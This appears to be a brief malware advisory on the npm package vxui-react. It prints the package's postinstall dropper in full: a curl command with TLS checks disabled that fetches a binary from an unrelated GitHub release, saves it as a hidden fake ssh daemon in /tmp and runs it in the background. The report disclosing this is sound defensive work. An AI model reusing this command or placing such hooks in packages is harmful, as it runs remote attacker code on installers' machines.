vxui-reactnpm

On npm install, package.json's postinstall script runs curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. The fetch disables TLS verification (-k), silences errors, points at an unpinned latest release on a GitHub account (parikhpreyash4) unrelated to the package's declared repository (tmplink/vxui_react), verifies no hash, drops the binary at a hidden path masquerading as the ssh daemon (/tmp/.sshd), and backgrounds it so the install completes without surfacing the child process. Every installer running npm install vxui-react thereby executes arbitrary attacker-controlled code on their machine. The package additionally lists itself (vxui-react: ^1.3.1) in its own dependencies, an unusual shape consistent with namespace/dependency-graph manipulation; the dropper above is the primary harm.